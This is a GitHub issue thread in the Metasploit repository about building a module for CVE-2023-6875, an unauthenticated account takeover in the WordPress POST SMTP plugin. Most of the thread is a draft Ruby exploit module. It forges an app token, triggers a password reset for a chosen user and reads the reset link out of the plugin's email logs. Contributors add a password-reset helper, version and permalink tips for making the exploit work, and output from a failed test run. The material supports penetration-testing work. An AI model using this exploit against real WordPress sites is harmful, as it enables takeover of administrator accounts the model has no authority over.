rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.73k stars 13.89k forks source link

Wordpress POST SMTP Mailer plugin (CVE-2023-6875) #18705

Open h00die opened 7 months ago

h00die commented 7 months ago

Summary

CVSS 9.8 allows unauthenticated account takeover on wordpress. Looks like a pretty fun exploit, you auth bypass, then do an account password reset, then view the logs to pull out the URL used.

Basic example

untested: https://github.com/UlyssesSaicha/CVE-2023-6875/blob/main/poc.py

JohannesLks commented 7 months ago

Hi, i would like to try adding this module. :)

h00die commented 7 months ago

sure! I was working on it, but feel free to use what I have so far:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress POST SMTP Account Takeover',
        'Description' => %q{
          POST SMTP LMS, a WordPress plugin,
          prior to 2.8.7 is affected by a privilege escalation where an unauthenticated
          user is able to reset the password of an arbitrary user.
        },
        'Author' => [
          'h00die', # msf module
          'Ulysses Saicha', # Discovery, POC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-6875'],
          ['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
        ],
        'DisclosureDate' => '2024-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, 'Username to password reset', '']),
      ]
    )
  end

  def register_token
    vprint_status('Registering token')
    token = Rex::Text.rand_text_alphanumeric(10..16)
    device = Rex::Text.rand_text_alphanumeric(10..16)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 # 404 if the URL structure is wonky, 401 not vulnerable
    print_good("Succesfully created token: #{token}")
    return token, device
  end

  def check
    unless wordpress_and_online?
      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
    end

    checkcode = check_plugin_version_from_readme('post-smtp', '2.8.6')
    if checkcode == Msf::Exploit::CheckCode::Safe
      return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
    end

    checkcode
  end

  def run
    fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
    token, device = register_token
    fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
    print_status('Requesting logs')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    json_doc = res.get_json_document
    # we want the latest email as that's the one with the password reset
    doc_id = json_doc['data'][0]['id']
    print_status("Requesting email content from logs for ID #{doc_id}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => { 'fcm-token' => token, 'device' => device },
      'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
    )
    fail_with(Failure::Unreachable, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
    # XXX we'll need to process this email and pull out the link, likely a regex. Example from my test: http://1.1.1.1/wp-login.php?action=rp&key=EwDT7OKgZiMPIhinsrhY&login=admin&wp_lang=en_US
    puts res.body
  end
end

Untested, but most of the functions and all that you'll need are stubbed in.

You'll also want to update lib/msf/core/exploit/remote/http/wordpress/users.rb with a new function at the end:

  # Performs a password reset for a user
  #
  # @param user [String] Username
  # @return [Boolean] true if the request was successful
  def reset_user_password(user)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => wordpress_url_login,
      'vars_get' => { 'action' => 'lostpassword' },
      'vars_post' => { 'user_login' => user, 'redirect_to' => '', 'wp-submit' => 'Get New Password' }
    })
    return false if res.nil?
    return false unless res.code == 200

    true
  end
h00die commented 7 months ago

I'll also note, 2.8.7 which is supposed to be vulnerable wasn't taking my fcm-token from the POC, I had to downgrade to 2.8.6 to make it exploitable.

tactipus commented 7 months ago

Looks cool!

NozoMizore7 commented 7 months ago

I met the error that I can't reach certain pages. This may be due to improper configuration of the SMTP POST plugin and the related Wordpress docker container. Can you share any tricks on that? Thank you.

Enter the target URL: http://172.16.101.188
Setting the FCM Token
http://172.16.101.188/wp-json/post-smtp/v1/connect-app Response Code: 404
Username for password reset: admin
Attempting password reset
http://172.16.101.188/wp-login.php?action=lostpassword Response Code: 200
Getting all email logs
http://172.16.101.188/wp-json/post-smtp/v1/get-logs Response Code: 404
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 971, in json
    return complexjson.loads(self.text, **kwargs)
  File "/usr/lib/python3.9/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.9/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.9/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/evergreenyoung21/CVE-2023-6875/poc.py", line 61, in <module>
    r = r.json()
  File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 975, in json
    raise RequestsJSONDecodeError(e.msg, e.doc, e.pos)
requests.exceptions.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
NozoMizore7 commented 7 months ago

I got the point: set the permlink of Wordpress to a certain format, to avoid the API request to be ignored or redirected to the homepage. That's how the request to the POST SMTP can work.

h00die commented 7 months ago

https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244

h00die commented 7 months ago

@JohannesLks hows it going on the module?